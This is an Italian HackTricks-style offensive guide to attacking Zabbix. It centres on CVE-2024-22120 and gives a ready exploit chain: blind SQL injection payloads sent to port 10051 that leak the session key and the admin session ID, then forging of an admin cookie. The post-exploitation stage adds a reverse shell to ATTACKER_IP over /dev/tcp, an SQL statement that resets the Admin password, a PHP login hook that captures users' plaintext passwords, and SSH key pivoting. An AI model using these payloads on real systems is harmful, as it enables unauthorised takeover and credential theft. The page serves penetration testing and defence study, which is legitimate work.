Zabbix Security

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

Zabbix è una piattaforma di monitoring che espone una web UI (tipicamente dietro Apache/Nginx) e un componente server che parla anche il protocollo Zabbix su TCP/10051 (server/trapper) e un agent su TCP/10050. Durante gli engagement potresti incontrare:

  • Web UI: virtual host HTTP(S) come zabbix.example.tld
  • Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port: 10050/tcp

Formato utile del cookie: zbx_session è Base64 di un oggetto JSON compatto che include almeno sessionid, serverCheckResult, serverCheckTime e sign. La sign è un HMAC del payload JSON.

Le versioni recenti di Zabbix calcolano il cookie cosĂŹ:

  • data JSON: {“sessionid”:“<32-hex>”,“serverCheckResult”:true,“serverCheckTime”:<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

Se riesci a recuperare il global session_key e un sessionid admin valido, puoi forgiare offline un Admin cookie valido e autenticarti alla UI.

CVE-2024-22120 — Time-based blind SQLi nel registro di audit di Zabbix Server

Versioni affette (come documentato pubblicamente):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Sintesi della vulnerabilitĂ :

  • Quando un’esecuzione di Script viene registrata nel registro di audit di Zabbix Server, il campo clientip non viene sanificato e viene concatenato nella query SQL, permettendo time-based blind SQLi tramite il componente server.
  • Questo è sfruttabile inviando una richiesta “command” appositamente costruita alla porta 10051 del Zabbix server con un sessionid a bassa privilegiatura valido, un hostid a cui l’utente ha accesso e uno scriptid consentito.

Precondizioni e suggerimenti per la scoperta:

  • sessionid: Dal guest/login nella web UI, decodifica zbx_session (Base64) per ottenere sessionid.
  • hostid: Osserva tramite le richieste della web UI (es. Monitoring → Hosts) o intercetta con un proxy; il default comune è 10084.
  • scriptid: Solo gli script permessi dal ruolo corrente verranno eseguiti; verifica ispezionando il menu degli script / le risposte AJAX. Default come 1 o 2 sono spesso permessi; 3 può essere negato.

Flusso di sfruttamento

  1. Provocare un inserimento di audit con SQLi in clientip
  • Connettiti a TCP/10051 e invia un messaggio incorniciato Zabbix con request=“command” includendo sid, hostid, scriptid, e clientip impostato su un’espressione SQL che verrĂ  concatenata dal server e valutata.

Campi minimi del messaggio (corpo JSON):

{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

Il formato wire completo è: “ZBXD\x01” + 8-byte little-endian length + UTF-8 JSON. Puoi usare pwntools o il tuo codice socket per impacchettarlo.

  1. Time-bruteforce secrets via conditional sleep

Usa espressioni condizionali per leak segreti codificati in esadecimale un carattere alla volta misurando il tempo di risposta. Esempi che hanno funzionato nella pratica:

  • Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) da sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Note:

  • charset: 32 caratteri esadecimali [0-9a-f]
  • Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) e misura il tempo wall-clock per tentativo
  • Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
  1. Falsificare cookie Admin

Una volta che hai:

  • session_key: 32-hex from config.session_key
  • admin_sessionid: 32-hex from sessions.sessionid for userid=1

Calcola:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Imposta il cookie zbx_session a questo valore e fai GET /zabbix.php?action=dashboard.view per convalidare l’accesso Admin.

Strumenti pronti all’uso

  • Public PoC automatizza: bruteforce di session_key e admin sessionid, e cookie forging; richiede pwntools e requests.
  • I parametri da fornire tipicamente includono: –ip (FQDN of UI), –port 10051, –sid (low-priv), –hostid, e opzionalmente un noto –admin-sid per saltare il brute.

RCE tramite Script execution (post-Admin)

Con accesso Admin nella UI, puoi eseguire Scripts predefiniti contro host monitorati. Se gli agent/hosts eseguono comandi di script localmente, questo conferisce esecuzione di codice su quei sistemi (spesso come l’utente zabbix su host Linux):

  • Controllo rapido: esegui id per confermare il contesto utente
  • Esempio di reverse shell:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

Ottenere una TTY interattiva (Linux):

script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Se hai accesso al DB, un’alternativa a forgiare un cookie è reimpostare la password Admin con il bcrypt documentato per “zabbix”:

UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Cattura delle credenziali via login hook (post-exploitation)

Se è possibile scrivere file sul server della web UI, puoi aggiungere temporaneamente uno snippet di logging a /usr/share/zabbix/index.php attorno al ramo di login basato su form per catturare le credenziali:

// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Gli utenti si autenticano normalmente; leggere /dev/shm/creds.txt in seguito. Rimuovere il hook quando finito.

Pivoting verso servizi interni

Anche se la shell dell’account di servizio è /usr/sbin/nologin, aggiungere una voce in SSH authorized_keys e usare -N -L consentono il port-forwarding locale verso loopback-only services (es., CI/CD su 8111):

ssh -i key user@host -N -L 8111:127.0.0.1:8111

Consulta altri schemi di tunneling in: Tunneling and Port Forwarding.

Suggerimenti operativi

  • Verificare che scriptid sia consentito per il ruolo corrente (guest potrebbe avere un set limitato)
  • Timing brute può essere lento; memorizza la sessione admin recuperata (admin sessionid) e riutilizzala
  • Il JSON inviato a 10051 deve essere incorniciato con l’header ZBXD\x01 e una lunghezza in little-endian

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks